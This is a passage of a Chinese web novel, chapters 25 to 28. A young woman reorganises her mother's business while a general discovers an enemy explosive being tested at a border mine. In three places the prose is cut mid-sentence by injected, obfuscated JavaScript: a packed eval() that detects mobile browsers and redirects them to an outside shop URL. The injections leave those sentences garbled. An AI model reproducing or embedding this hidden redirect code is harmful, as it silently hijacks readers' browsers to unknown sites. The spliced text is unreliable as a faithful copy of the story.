她顿了顿，续道：“各铺面只记流水细账，每日戌时末之前送至归云楼，由总账房统一核录，月终汇总结算。京外其他州府的产业，也依此例推行。” “采买一事，按行业专设人手。工钱亦可从优，唯有一个要求——寻到最优、价最宜的供货路子。”她抬眼看向沈知节，目光明澈，“沈先生是明白人，该知道‘源头活水’的道理。” 沈知节微微颔首。 “至于管治之道，”姚知韫语气渐沉，字字清晰，“我只八字：自负盈亏，独立核算。”她略向前倾身，窗光映亮半边侧脸： “各地所设归云楼，年盈利之中，我会拿出一成作为所有人的奖励，至于怎么奖，就一个原则，多劳多得。” 言至此，她停下，目光静落于沈知节面上。 “至于沈先生你，”她微微一笑，笑意淡而笃定，“我给你——所有归云楼产业净利的一成，当然，这是去掉其他分红后的数额。” 书房内一时静极。 廊下风过，竹帘沙沙。 沈知节默然片刻，起身，长揖至地。 沈知节那一揖，久久未直起身。 宽大的靛蓝袖幅垂落在地，遮住了他微微发颤的指尖。书房里熏着淡淡的檀香，那气息原本宁神，此刻却仿佛凝成了实质的丝缕，缠绕在他骤然停滞的呼吸间。 25. 第 25 章 一成净利？ 她是不知道两成净利有多少？还是胸有沟壑？ 她知不知道，这一成一旦落地，足以让无数人眼红发狂，足以在看似平静的商海掀起滔天的暗涌，她清澈的目光里，只有一片澄澈的笃定，仿佛在说一件再自然不过的事。 他不是没经过风浪的。少时家道中落，又屡试不第，最后不得已辗转商海，见过一掷千金的豪客，也领教过锱铢必较的东家。后来追随霍抉，出入北境生死场，更知银钱背后往往沾着血的味道。 沈知节缓缓直起身。 抬眼的瞬间，他收敛了所有外泄的情绪，依旧是那副沉稳持重的模样。只是眼底最深处，有什么东西被彻底点燃了，幽暗而灼热。 这看似柔静如秋水的少女，正在下一盘他前所未见的棋。而他，已被她亲手拈起，放在了棋枰最要害的位置。 “沈某，”他再次开口，声音比方才更低，也更沉，每一个字都像在心底锤炼过，“定不负所托。” 这是他沈知节，对一个十四岁少女，许下的最重的承诺。 姚知韫看着他，轻轻点点头，目光相遇的刹那，无形的契约，于这秋日午后的书房，落笔成章。 “当然，我会与沈先生签订一份契约，归云楼其余人的契约，便由你主理。但我有两件事，须得办妥，” 她身躯微微向前倾，午后的日光透过菱花窗格，在她肩头洒下细碎的光斑， “其一：我母亲名下所有产业，须与苏家彻底析清。其间或有损耗，不必计较，唯求干净——须完完整整、清清楚楚，全数归入归云楼。” 她说得轻缓，字字却如断玉。她要斩断的不仅是账目上的勾连，更是与苏家那层剪不断理还乱的血脉纠葛。一个干干净净的归云楼，才能是她姚知韫自己的立足之地。 “其二，”她目光清凌凌地落在沈知节面上，“用人一事，我只看能否干活。愿意踏实做事的，留下；偷奸耍滑、心术不正的，一律不用。归云楼不养闲人，更不养蛀虫。” 言至此，她语气稍缓： “至于霍将军托付的那些产业，原本便是沈先生经手，往后依旧由你全权打理。若需添置人手、调整章程，你可自决，不必事事回我。” 沈知节静立聆听，背脊挺直如竹。 他听懂了。这不仅是交代，更是放权。她要的是一个能独当一面的“沈先生”，而不是亦步亦趋的账房。 “姑娘放心。”他拱手，言辞简扼，却字字千钧，“苏家之事，沈某会处理干净。用人章程，亦当从严。” 姚知韫颔首，不再多言。 书房内重新静了下来，只余窗外秋风拂过竹梢的簌簌轻响。那声音悠长而寂寥，仿佛预示着某个时代的终结，与另一个时代的开端。 沈知节退后两步，转身欲离。 “沈先生。”姚知韫忽然唤住他。 他驻足回身。 “谢谢！” 沈知节深深一揖，而后转身，轻轻掩上了书房的门。 脚步声渐远。 姚知韫独坐案前，望着杯中沉浮的茶叶，许久未动。 从这一刻起，归云楼不再只是一个名字，而是一柄即将出鞘的刀。 她得为以后，留一条路。 霍抉依旧忙碌，三五日方回府一趟，有时是深夜悄至，有时是午间歇马。见面总是匆匆，说不上几句话。 姚知韫从书房出来，却在前厅看见了负手而立的霍抉，他正望着院中凋零的秋色出神，听见脚步声，他转过身来。 今日他依旧穿着玄色常服，腰间束着革带，显得身姿挺拔，只是眉眼间带着几分疲色，眼下有淡淡的青影。 “将军，”姚知韫福身行礼。 霍抉上前一步虚扶一把，目光在她脸上停驻片刻，“清减了些。” 姚知韫垂眸，并未接话。 霍抉走到桌边，从怀中取出一只锦囊，放在桌上。 “打开看看。” 姚知韫依言解开锦囊，倒出里面的东西，是几颗种子，黑褐色，不起眼。 “墨菊的种子，”霍抉声音有些紧，透着隐隐的拘谨，“我从一位老花匠手里弄来的，比英国公府那株颜色更深，花期也长，他那里有暖房，种很多花，你要是喜欢，我把他请来也给你建一个。” 姚知韫指尖轻捻那几颗种子，心底掠过一丝异样，没成想他竟然还记得。 “谢谢，我喜欢自己种，”她将种子小心收回锦囊，“明年春日种下，秋日应当能见花” 霍抉“嗯”了一声，目光仍落在她的脸上，似有什么话要说，却又迟疑。 姚知韫抬眸看他，“将军今日回府，可是有事？” 霍抉沉默片刻，才缓缓开口，“我要离京一趟。” “哦，”姚知韫淡淡的应着，并未询问要去哪里。 “梓州军情有变，东琅似有异动，陛下命我巡查防务，若情势紧急——或需暂驻些时日。” 姚知韫心头微紧，东琅一直虎视眈眈，梓州防线更是关乎京城安危。 “要去多久？”她问。 “少则一月，多则......”霍抉突然定住，却没有归期。 厅中又静下来，窗外有鸟雀扑棱棱飞过，惊起几片枯叶，在空中打了几个旋，最终落进泥土里。 “何时动身？”姚知韫听见自己的声音平静如常。 “三日后卯时。”霍抉看着她，“我不在时，府中诸事，你尽可做主。若有难处，可寻沈知节。若遇急事......” 他从怀中取出一枚铜符，递到她手中。 铜符入手微沉，上刻虎头纹样狰狞盘踞，背后深深刻着“霍”字，笔画刚劲，似蕴着千钧之力。 “持此符，可调我留在京中的亲卫。”霍抉的声音压得很低，话未尽，只是深深看了她一眼。 那一眼里，翻涌着太多姚知韫看不懂的东西——关切、担忧、不舍，或许还有一种近乎偏执的爱恋。 姚知韫将铜符仔细收好，指尖触到那冰冷的纹路，心却莫名跳快了一拍，她垂下眼。 “将军......用过饭了吗？” 话一出口，她脸颊微微微烫，心下懊恼，这都什么时辰了，怎么问这个？ 霍抉却异常认真地看向她，眸中墨色深敛，“饿了。” 姚知韫怔了怔，抬眼撞进他专注的视线里，沉默一瞬，她轻声道，“那——我给你煮碗面？” “好，” 霍抉应的很快，仿佛怕她反悔般，心口某处，被什么东西轻轻抓了一下，她问他饿不饿，他喉间发紧，却又泛起一丝隐秘的欢喜。 姚知韫转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168148|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了前厅，裙裾拂过门槛，悄无声息地没入厨房的暗影里。 灶火很快亮起，温暖的光晕染开一片。她挽起袖子，舀水、和面、切菜，动作熟稔而安静。不多时，一碗热气腾腾的打卤面便端了出来，肉卤油亮，面丝匀细，上面还撒着一把碧绿的葱花。 霍抉接过碗，什么也没说，只埋头大口吃起来。吞咽声在寂静的厅堂里格外清晰，他吃得极快，却并不显粗鲁，倒像在战场上抢时辰用饭般，认真而专注。 仿佛从未吃过这般滋味的食物。 一碗面很快见了底，连汤也喝得干净。他放下碗，两人之间又陷入那种熟悉的、却不显尴尬的沉默里。 “我不在时，”霍抉忽然开口，声音沉而稳，“若霍家有人来寻，不必理会。一切……等我回来再说。” “好。”姚知韫应得干脆，甚至没有问一句缘由。 霍抉看着她沉静的侧脸，喉结几不可察地滚动了一下。 “韫儿。”他忽然唤她，声音里有种罕见的柔软，却又郑重如立誓，“等我回来。” 言罢，他不再停留，转身大步走向厅外。玄色衣袍在穿堂而过的秋风里扬起利落的弧度，很快消失在回廊尽头的暮色中。 姚知韫独自立在渐渐暗下的厅堂里。 手中那只锦囊硌着掌心，微微的疼。里面那几颗墨菊的种子，安静地蜷缩着，像某个未及言明、却已悄然种下的约定。 窗外，最后一缕夕光沉入西山。 三日后，天尚未亮透，霍抉离京。 姚知韫没有去送，却早早起身，立在院中那株老槐树下，晨雾未散，空气中弥漫着深秋的寒意，她裹紧身上的披风，望着灰白的天际，站了很久。 她似乎，应过霍抉一件衣衫。 “嬷嬷，”她轻声唤道。 常嬷嬷不知何时已静候身后，闻声上前半步，“姑娘” “选块布料给将军做件衣衫吧！” 常嬷嬷微微一顿，抬眼细细看向姚知韫沉静的侧脸，随即垂下眼帘，声音温缓而笃定：“是，姑娘。” 霍抉离京后，沈知节也愈发忙碌，常常数日不见人影，姚知韫索性闭门谢客，日子过得简单起来，每日看书、习字、侍弄花草，再便是跟着常嬷嬷学针黹。 她学得极认真，从量体、裁版到飞针走线，一样样慢慢琢磨。常嬷嬷偶有惊叹，姑娘手上功夫虽生，眼力与耐心却出奇的好，尤其是对尺寸与比例的把握，竟似天生带一把无形的尺。 如此又过了半月。 京城下了入冬后的第一场雪。 雪不大，细细碎碎的，像是谁在天上撒了一把盐，沾着屋瓦、枯枝、石阶，很快便化了，只留下片片深色的湿痕，像谁用淡墨在天地间不经意点染了几笔。 姚知韫坐在暖阁里，手里捧着一卷《大晋地理志》，目光却落在窗外那场疏淡的雪上，半晌未翻一页。 常嬷嬷端着一盏茶进来，见她出神，轻声劝导，“姑娘看了半晌的书，歇歇眼睛吧！” 姚知韫回神，接过青瓷盏，暖意透过釉壁熨帖着掌心。她抿了一口，忽然道：“再给下头人添做些厚实冬衣罢。今年……似乎冷得早，莫要冻着了。” 常嬷嬷应了声“是”，目光在她清淡的眉目间停留一瞬，似有话想说，终是无声敛衽，静静退了出去。 26. 京中有她在 阁内又静下来。 姚知韫搁下书卷，起身走到窗边，推开半扇棂格。冷风挟着细雪扑面而来，带着凛冽又清新的寒气。远处屋檐上已积了薄薄一层白，在渐浓的暮色里泛出朦胧的微光。 她静静看着。 从前，她也是一个人过冬。守着这空阔的府邸，看书、煮茶、听雪，并不觉得如何。 可今年这初雪飘下时，庭阶寂寂，炉香袅袅，她忽然觉出几分……未曾有过的清冷。 又过了几日，沈知节回来了。 “姑娘，瑞福祥的东家查清了。”他声音平静，眼底却有冷意，“明面上是户部主事王翰的远亲，实则......背后是御司监的赵虢。” 姚知韫执笔的手微微一顿。 竟然是赵虢？她一直以为是苏家为了回笼产业，才使手段。 “这些年来，云锦轩的利润，都流进了赵虢的腰包？”姚知韫放下笔，语气依旧淡然。 “不止云锦轩。”沈知节从袖中取出一份名录，“苏夫人名下的三家绸缎庄、两处茶楼，这些年都陆续换了供货商或掌柜，背后或多或少都有赵虢的影子。只是手法隐蔽，若非姑娘点明要查瑞福祥，一时难以察觉。” 姚知韫接过名录细看，越看心越沉。 母亲留下的产业，竟被蚕食至此。是有意还是无意的？ “赵虢名下其他的产业呢？” “还未查实。” “赵虢为何要盯上我母亲的产业？”她问。 沈知节沉吟片刻，压低声音道：“赵虢这些年广植党羽，收受贿赂，所需银钱巨大。苏夫人这些产业经营得当，利润丰厚，自然成了他的目标。” 姚知韫沉默良久。 窗外天色渐暗，暮霭沉沉。 “沈先生，”她终于开口，“以你之见，此事该如何处置？” 沈知节拱手：“此事牵涉赵虢，不宜贸然动作。眼下侯爷不在京中，姑娘更需谨慎。” 姚知韫点点头：“沈先生，我们先探探虚实，我们就当不知道是赵虢在后背，先拿云锦轩试，就按照正常的查账，把有问题的人全部清理掉，务必证据确凿，看看赵虢什么反应？” 沈知节神色郑重，心下觉得倒也是个办法，“属下省得。” 沈知节退下后，姚知韫独坐书房，久久未动。 烛火跳动，在她脸上投下摇曳的光影。 赵虢、御司监、被蚕食的产业......这一切仿佛很早之前便布下一张无形的大网，就等她进入。 夜色已浓，天上无星无月，只有厚重的云层低垂，压得人喘不过气。 山雨欲来。 不知他此刻，是否也在那里，望着同样的雪？ 千里之外，风雪同天。 这念头让她心底某处，悄然一软。 而此刻的梓州边关，霍抉正立在城楼上，望着关外苍茫雪原。 亲卫上前，递上一封密信：“将军，京中急报。” 霍抉拆开，快速浏览。信中详述了京中流言与朝中动向，末了附着一页素笺，是沈知节的笔迹，却夹着一张小纸片，上面是姚知韫清隽的字迹。 他展开那张小纸，看完那寥寥数语，唇角几不可察地弯了弯。 他小心翼翼地将纸片折好，收入贴身的衣袋中。 “京中如何？”副将薛轻羽问。 霍抉将密信递给他，目光重新投向关外：“有人坐不住了。” 薛轻羽看完信，脸色凝重：“将军，是否要提前回京？” 霍抉摇头：“东琅陈兵关外，此时若退，前功尽弃。”他顿了顿，眼底掠过冷光，“况且，有些人既然跳出来了，总要让他们演完这场戏。” “那京中......” “京中有她在。”霍抉的声音很轻，却笃定，“还有沈知节。” 薛轻羽欲言又止，最终只拱手道：“末将明白了。” 霍抉转身，走下城楼。风雪扑面，玄色大氅在风中猎猎作响。 他想起姚知韫信中所写：诸事安，勿念。 那个看似柔弱的女子，在风起云涌之际，竟能如此镇定。 或许，他一直以来都小看了她。 她不是需要他时时刻刻护在羽翼下的雏鸟，而是能与他并肩而立、共担风雨的伴侣。 这个认知，让他心底涌起一种奇异的暖意，连严寒都似褪去几分。 “将军，”亲卫牵马而来，“探子回报，东琅大军已至百里外。” 霍抉翻身上马，勒紧缰绳。 “传令各营，整军备战。” 马蹄踏碎积雪，溅起一片白茫。霍抉回头，蓦然回望。 等我回来。 他在心底默念，而后策马扬鞭，冲向苍茫雪原深处。 风雪漫天，将他的身影渐渐吞没。 姚府暖阁中，灯花轻爆。 姚知韫倚在临窗的榻上，手里握着一卷《舆地纪胜》，目光却落在窗外。细雪簌簌，无声地覆上枯枝与屋瓦，将夜色染成一片模糊的灰白。铜鎏金手炉在她膝上散着暖意，她却觉指间仍是凉的。 霍抉去了梓州后，这个地名在她心头反复碾过。 梓州恰恰卡在八陉雄与广固之间，自东琅强取了梓州以北十三州后，此地便成了两不管地方，名义上仍属于大晋疆土，可却并无屏障之功，朝廷无力管，东琅不屑收，只当作予取予求的粮仓与猎场。连年劫掠之下，民生凋敝，盗匪蜂起，活脱脱一片被遗弃的焦土。 皇上在此时派霍抉去梓州，用意何在？ 朝中主和之声甚嚣尘上，国库空虚更是明摆着的账。那位深居九重的天子，更不会突然对千里外的边民生出发自肺腑的怜悯。 除非……那里出现了不得不动的理由。 她眸光倏然一凝，伸手取过案头那卷《九州矿冶舆考》，指尖急急翻至梓州图页。烛光跳动，映亮图上蜿蜒的五行山脉走势。 五行山……盛产矿石。 一个念头如电光石火，劈开迷雾—— 难道梓州发现了新矿脉？ 所以东琅近年骚扰越发频繁，不单是为了抢粮？ 所以陛下甘冒风险，也要赶在消息彻底泄露前，抢先握住这命脉？ 所以派去的人，必须是能镇住场、破开局的霍抉，而非寻常将领？ 姚知韫脊背蓦地窜上一股寒意。 若真如此，东琅绝无可能坐视。霍抉此行只带三千兵马，虽离八陉雄关不足百里，可那守关的于幽禾…… 他究竟是谁的人？ “芙蓉！” 声音脱口而出，竟带出一丝自己都未察觉的急促。 帘外脚步声近，芙蓉应声而入：“姑娘？” 姚知韫已起身，眸光沉静如寒潭，方才那瞬惊悸已被压下，只余一片冷澈的清明，“请沈先生速来一见。” 芙蓉抬眼望了望窗外浓重的夜色，又看了看主子看不出情绪的脸，终是把话咽下，只低声应道：“是。” 山雨欲来，风已满楼。 姚知韫心底的慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173462|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱还未平息，屋外却传来常嬷嬷的声音，“姑娘，” 姚知韫回神，抬眼望去，常嬷嬷已撩了毡帘进来，手中捧着一份帖子，步履无声地行至榻前，微微躬身，“崔家送来的。” “崔家？”姚知韫眉心几不可察地移动。 她接过帖子。入手微沉，是极厚的洒金笺。朱红底子上金粉细密，在灯下流转着含蓄的华光。封面正中，压印着清晰的青竹卷册纹——竹枝遒劲，自半展的书卷旁斜逸而出，风骨嶙峋。 指尖拂过那凸起的纹路，触感细腻而清晰。 她垂眸，轻轻挑开系束的湖色冰纹绸带。内页展开，连纸页上也带着浅浅的梅花暗纹，似有若无。一股清冽的冷梅香随之逸出，不浓，却极幽，丝丝缕缕，沁入鼻息。 竟是一份雅致请柬。 “明德书院。”她低声念出落款处的名字。 常嬷嬷适时开口，声音平稳如叙旧闻，“这明德书院，原是崔家族学。崔老阁主致仕后，便亲掌山长之位。因着崔阁老的学问风骨，天下士子慕名求学者众。同光五年，先帝为彰教化，亲赐‘明德’匾额，自此名动天下。”她略顿，续道，“如今的山长，是崔阁老嫡孙崔维瑾，同光七年的两榜进士，才名清望，尤擅丹青与琴艺。” 姚知韫指尖轻叩帖子，心下暗道：两榜进士？和霍抉还是差了点。不过她与崔家素来无交集，崔家为何会请她？ 围炉，煮雪，赏梅，论艺。 雅集名目风雅至极。 她望着窗外愈加密的雪片，唇角极淡地弯了一下。那笑意未达眼底，只像冰面上掠过的一丝微光。 既然这漩涡避无可避，既然树欲静而风不止。 那便—— “嬷嬷去过书院吗？”她将请柬合拢，置于一旁，淡淡的问。 “并未，”常嬷嬷低垂着头，“老奴还没这资格。” “那我们便去瞧瞧，看看这书院到底有何不同。” “是，姑娘。” 说完，姚知韫将请帖交还给常嬷嬷，便起身去了外书房。 姚知韫边走边想，沈知节的话在她心中反复盘旋，如碎玉落盘，叮咚作响，却总是拼不出完整的图景。 于幽禾。 明面上他是天子亲擢的八陉守将，御笔朱批“忠勇可嘉”，可近五年来，所出之税，年年仅有定额三成。那些深埋于山腹的乌金（煤）、玄铁、乃至偶现光华的山玄玉（银矿），若悉数开采，本该是填满国库一角的泉源。 钱，去了哪里？ 莫不是于幽禾近水楼台，阳奉阴违，暗中与世家暗通款曲，养寇自重？这也不是不可能。。 这个念头让她脊背生寒，如真是如此，八陉怕已经是被蛀空的堤坝，难道上面的那位会不知道？ 思绪如藤蔓纠缠，扯得她额角隐隐作痛。上一世缠绵病榻，她曾无比怨恨——既赐她一颗清醒的脑子，为何偏要困囿于一副残破躯壳？如今躯壳康健了，却又觉这脑子竟如此不够用，看不透这重重迷雾后的真相。 沈知节说，梓州深山里发现了“地髓”富脉。 地髓……即硝石。此物现今多用于道观丹炉，或年节时富户燃放的“烟火戏”，虽也值钱，终究是奇巧之物，尚不值得天子动用霍抉这把最锋利的刀，亲赴险地。 皇上的意图，到底是什么？ 她停下脚步，望向铅云压顶的天空，雪，已经停了，寒气通过衣领丝丝地往脖子里渗。 她暂时还想不透，只盼着霍抉能化险为夷，平安归来。 27. 黑火 “仔细着凉。”嬷嬷的声音温和如旧。 姚知韫没有应声，只微微侧首，任由嬷嬷为她拢紧氅衣。 “姑娘，在担心将军？”常嬷嬷的声音低了些，带上了试探。 姚知韫眼睫几不可察地一颤，依旧沉默，只是廊下的灯笼在她脸上投下淡淡阴影，将那本就凝重的神色衬得愈发分明。 常嬷嬷轻叹一声，像是自语，又像宽慰，“ “姑娘也莫太过忧心。八陉的于将军……与咱们将军，终究是有些旧谊的。危难之时，想必不会坐视不理。” “哦？”姚知韫闻言，倏然侧过头，目光落在常嬷嬷脸上。 常嬷嬷垂了眼，声音压得更低，仿佛在回溯一段尘封的旧事：“同光十七年冬，东琅铁骑突至，八陉告急。京营的援军虽至，却……未能解围。最后是咱们将军，自北境昼夜奔袭千里，方稳住危局。” 姚知韫心下一凛。 北境到八陉，何止千里？风雪兼程，兵疲马乏，这对于幽禾来说，可不是一份人情而已。 如此说来，于幽禾至少不会落井下石。 姚知韫拢了拢肩上的白狐裘，那柔软的暖意之下，心思却如冰面下的暗流，转得更深、更急。 姚知韫是骤然惊醒的。 眼皮掀开，眼前是沉甸甸的、毫无缝隙的浓黑。帐子里一丝光也无，辨不清是几更天。万籁俱寂，只有自己略显急促的呼吸声，和胸口下擂鼓般的心跳，一下，又一下，撞得耳膜生疼。 睡意是彻底散了。 她拥着锦被坐起身，靠在冰凉的床柱上。 她方才似乎做了一个极长的梦，此刻回想，却连半点印象都没有，只剩心头一片空落落的怅惘，和脊背上未散的、粘腻的冷汗。 她已很久不曾做梦了。 刚来的那几年，她每天都做梦，梦到她死后爸妈的哭泣声，梦到她的葬礼上终于又见到了爸爸，他鬓角白发刺眼，背影佝偻着，望着她黑白照片冷冷出声，还梦到医院窗外的老槐树，和她终于找到的桂花树。 那个时候，她懵懂的想，可能那不是做梦，更像是她的魂魄未安，总是想看看没有她的爸妈要如何过下去，看着他们哭泣，伤愈，解脱，重新回到生活的轨道上。 后来，不知道从什么时候开始，她便不再做梦了，前世的种种，像一页彻底翻过去的书，连墨迹都淡的无从辨认了。 可她还是固执地将这间卧房，依着记忆里的样子布置。床要靠着窗，窗边要留出空地，仿佛那里该有一张轮椅；厚重的帘幔要用吸光的棉布，密密实实地垂下来，隔出一个绝对安静、绝对黑暗的茧。仿佛只有这样，才能妥帖地安放那份无处寄放的怀念，才能向这个陌生的时空无声地宣告—— 她曾那样真切地活过。在另一个世界，拥有过另一副骨血，另一段悲欢。 那些年，是她无论如何也不愿抹去的来处。 夜色如墨，沁着入骨的寒凉。她静静坐着，直到指尖都变得冰凉，才缓缓吁出一口气，那气息在黑暗里凝成一线微弱无形的白雾，转瞬便散了。 霍抉现在在干嘛？也如她一般睡不着吗？ 此刻的霍抉背靠着一棵虬结的老树，黑色劲装，一只手搭于膝上。他闭着眼，似在假寐，眉宇间却无半分松弛，凌厉的下颌线在幽暗的光线下如同刀削。 韫儿现在定是在睡梦中了。 这个念头毫无预兆地闯进来，带着一丝与周遭铁血气息格格不入的温软。白日里薛轻羽传来的密报，字句简洁，却在他心底烙下印子——她召见了沈知节，细细询问梓州矿脉、兵力乃至赋税细则。 是在……担心他么？ 霍抉嘴角几不可察地牵动了一下，心底那处最坚硬的冰封之地，仿佛被一泓暖流悄然浸过，生出细密的裂痕。涌上来的，是一种混杂着无尽疼惜与隐秘骄傲的情绪。 她太聪明了。聪明得让他心惊，又让他欣喜。只需一点蛛丝马迹，她便能顺着藤蔓摸到瓜秧，将那些隐藏在数字、地名与人事关系下的暗流，猜个七七八八。这份洞悉力，他曾在朝堂的老狐狸眼中见过，却从未在一个养在深闺的少女身上得见。 他竟是生出一股‘吾家有女初长成’的感触来。 这认知让他胸腔里充盈着一种近乎战栗的愉悦。她的心思，哪怕只有一丝系在他身上，便如投入寒潭的石子，能在他心底最深处激起千层浪。她像个无声的执棋者，于千里之外轻轻落子，便轻易牵动了他全部的情绪——担忧化作动力，思念凝成归意，而她偶尔流露的关切，便是照进这杀伐之地唯一的光。 他想回京了—— 不远处，薛轻羽带着十余名亲卫，三三两两倚着山石或树干歇息。甲胄相碰发出极轻的铿锵声，混杂着压抑的咳嗽与绵长的呼吸。更远些，是游弋的暗哨，如同融入夜色的幽灵，无声地巡弋着这片暂时休憩的营地。 万籁俱寂，却又杀机四伏。 霍抉缓缓睁开眼，眸中映着冰冷月色，再无半分恍惚。那点因思念而生的柔软被妥帖收起，重新覆上属于镇北将军的冷硬与锐利。 他将膝上长枪握紧，冰凉的金属触感让思绪彻底沉淀。 夜色浓稠，山林死寂。 薛轻羽的身子几乎贴着地面悄悄潜回霍抉身边，压低了声音，“将军——，” “来了，”霍抉并未睁眼，只从唇间吐出两个字。 薛轻羽立住身形，向黑暗中打出几个间接的手势——握拳、下压展开，霎时间，原本散落在各处假寐的亲卫无声弹起，身形已如猎豹般伏低，枕戈待旦，在枯枝与山石的阴影间布成一张沉默的网。 脚步声由远及近，混着含糊的东琅俚语，一队东琅巡兵举着松明火把，粗蛮的拨开灌木，从他们从藏身之处前方不足二十步处走过。 待那队人马行出视线，薛轻羽大手轻轻一挥。所有人幽灵般地尾随上去。 霍抉的人马远远吊着那点晃动的火光，在崎岖山道上穿行约半个时辰，最终潜至一处隐蔽的山坳入口。前方火光骤增，人声嘈杂，显然不止一队巡兵。 距离太远，看不清内里情形。薛轻羽以目光请命，霍抉微一颔首。 十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178348|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人便悄无声息地隐身在山坳的制高点。 山坳内火把林立，映出一片被强行开拓出的空地。数百名衣衫褴褛的民夫正被皮鞭驱赶着劳作，他们用简陋的筐篓，从几个黑黢黢的洞口搬运出某种沉甸甸的黑色块状物，堆积如山。 难道是一座私矿？可这监守之人却是东琅人，东琅的人在大晋的疆土上开矿，于幽禾知道吗？还是他也参与了？ 为了一个私矿，东琅不至于陈兵十万在梓州，一定还有什么其他的原因。 霍抉的心思流转，视线却从未离开过矿坑。 只见一队民夫抬着满筐黑物，摇摇晃晃地走向霍抉潜伏的崖壁下方。那里已挖好一个浅坑。 一个身着湛蓝色粗布短打的男人走入火光中心。他始终低垂着头，看不清面容，只动作僵硬地接过一支火把。 火把的光芒猛地跳起，终于照亮了他的侧脸——自鼻梁至下颌，大半边脸布满狰狞的、仿佛被烈火灼烧后又愈合的扭曲疤痕，状若鬼魅。 几名士兵低头与鬼面人说着什么，距离太远，霍抉听不真切。 鬼面男人毫无迟疑，将燃烧的火把掷入浅坑之中。 “轰——！！！” 一声沉闷如地龙翻身般的巨响陡然炸开！剧烈的震动甚至让数十丈外的霍抉脚下地面都为之猛然一颤。 紧接着，一道暴烈到令人心悸的火光冲天而起，裹挟着无数碎石与泥土，如同大地愤怒的吐息，在夜空中拧成一道粗壮而狰狞的赤红火柱。 再探头望去，原先那一尺见方的浅坑，在巨响中猛地膨胀、撕裂、塌陷，瞬息间化作一个直径逾八尺、深达数尺的焦黑巨坑！ 围在坑边来不及躲避的几名民夫，连惨叫都未及出口，便被狂暴的气浪狠狠掀飞，如破布般甩出数丈，重重砸落在地。后背衣衫尽碎，皮开肉绽，鲜血瞬间洇湿了身下的泥土。迟来的、凄厉到不似人声的哀嚎这才撕裂夜空。 而那鬼面男人，只是漠然地看着眼前的惨状，仿佛那不过是溅起些泥点。 他转向一名身披东琅将领铠甲、满脸虬髯的壮汉，几不可察地点了点头。 那东琅将领先是一愣，随即爆发出狂喜的、近乎癫狂的大笑：“成了！真的成了！快！快马加鞭，报与费将军知晓！天佑我东琅！！” 悬崖阴影中，霍抉的瞳孔骤然收缩，映着那道撕裂夜空的狰狞火柱。 原来如此，原来如此！ 所有零碎的线索，东琅陈兵梓州便不再进一步，还有将领那诡异的耐心，在此刻便都说得通了。 他们不是不进攻，只是在等，等这东西。 这能将山石化为齑粉，让血肉横飞，若它一旦成功，装备于大军，届时，莫说八陉雄关，便是京城高墙，在那连绵不绝的火海面前，又能支撑几时？ 于幽禾？他根本顶不住。 霍抉死死盯着远处烟尘与烈焰翻腾的巨坑，仿佛已能看见十万东琅铁骑，如山崩海啸般冲向关隘的场景，一股冰冷的战栗顺着他的脊椎猛然窜上颅顶，激起一身寒栗。 大晋——危矣！ 28. 黑火 “姑娘，”常嬷嬷不知何时立在身后，给姚知韫披上了一件白狐裘大氅，龙首丰美的绒毛瞬间隔绝了寒气，暖意包裹上来。 霍抉闭上眼睛， 再次睁开，眸底翻涌的所有惊涛骇浪已被尽数镇压、凝结，化作一片深不见底、毁天灭地的决绝寒冰。 此物，绝不能现世。 他最后看了一眼那仍在狂笑的东琅将领，与面无表情的鬼面男人、堆积如山的黑色块状物、以及那几个痛苦翻滚、渐渐无声的民夫尸身。 然后，他抬起右手，五指并拢，向下一切—— 身后十余道黑影没有丝毫犹豫，依次从潜伏处退了下来，动作轻捷有序。 撤回临时藏身的岩缝，薛轻羽等人已无声聚拢，目光灼灼地望向他，等待指令。 霍抉背靠冰冷的山壁，垂眸沉思。 硬闯是下下策，强攻更不可行。敌我悬殊，地利在彼，何况那“黑火”深浅未知，贸然行动，恐打草惊蛇，反促其成。 寂静中，只有远处隐约传来的东琅人的喧嚣与夜风的呜咽。 半晌，霍抉忽然开口，声音压得极低，却清晰地传入每个人耳中：“轻羽。” “在。” “还记得……狼牙山吗？” 薛轻羽先是一怔，随即，那双总带着沉稳持重的眼睛倏然亮起，如同擦亮的燧石迸出火星，甚至跃上了一丝久违的兴奋：“当然记得！将军，末将……毕生难忘！” 霍抉的嘴角，极其缓慢地向上扯开一个弧度。冰冷，锋利，带着一种残忍的、近乎愉悦的算计。 这抹“笑”落入周围亲卫眼中，让他们后背瞬间窜起一股寒意。他们追随霍抉多年，太清楚了——当将军露出这样的神情，便意味着有人要倒大霉了，而且是尸骨无存的那种。 